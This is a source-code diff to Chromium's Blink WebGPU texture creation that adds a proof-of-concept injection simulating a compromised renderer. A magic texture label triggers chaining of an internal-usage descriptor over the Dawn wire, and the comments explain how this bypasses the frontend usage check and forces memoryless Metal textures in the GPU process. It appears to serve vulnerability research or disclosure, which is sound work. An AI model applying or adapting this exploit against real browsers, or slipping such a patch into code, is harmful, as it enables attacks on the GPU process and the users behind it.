diff --git a/third_party/blink/renderer/modules/webgpu/gpu_texture.cc b/third_party/blink/renderer/modules/webgpu/gpu_texture.cc index c3faae4b92241..15cd259c84b14 100644 --- a/third_party/blink/renderer/modules/webgpu/gpu_texture.cc +++ b/third_party/blink/renderer/modules/webgpu/gpu_texture.cc @@ -207,6 +207,33 @@ GPUTexture* GPUTexture::Create(GPUDevice* device, } } + // --------------------------------------------------------------------------- + // POC injection (compromised-renderer simulation): + // When the page marks a texture with a magic label, chain a + // DawnTextureInternalUsageDescriptor{TransientAttachment} into the wire + // payload. Chrome's GPU process force-enables the DawnInternalUsages + // feature, so the wire deserialiser accepts this chained struct. + // + // Result in the GPU process: + // texture->GetUsage() = RenderAttachment (public) + // texture->GetInternalUsage() = RenderAttachment|Transient (internal) + // + // The frontend gate at CommandEncoder.cpp:667 reads GetUsage() and is + // bypassed; the Metal backend reads GetInternalUsage() and creates the + // texture as MTLStorageModeMemoryless. + // --------------------------------------------------------------------------- + wgpu::DawnTextureInternalUsageDescriptor poc_internal_usage; + if (label.find("POC_INTERNAL_TRANSIENT") != std::string::npos) { + poc_internal_usage.internalUsage = wgpu::TextureUsage::TransientAttachment; + poc_internal_usage.nextInChain = dawn_desc.nextInChain; + dawn_desc.nextInChain = &poc_internal_usage; + fprintf(stderr, + "[POC-RENDERER] Chaining DawnTextureInternalUsageDescriptor" + "{internalUsage=TransientAttachment} over dawn_wire; " + "public usage=0x%x\n", + static_cast(dawn_desc.usage)); + } + GPUTexture* texture = MakeGarbageCollected( device, device->GetHandle().CreateTexture(&dawn_desc), webgpu_desc->label());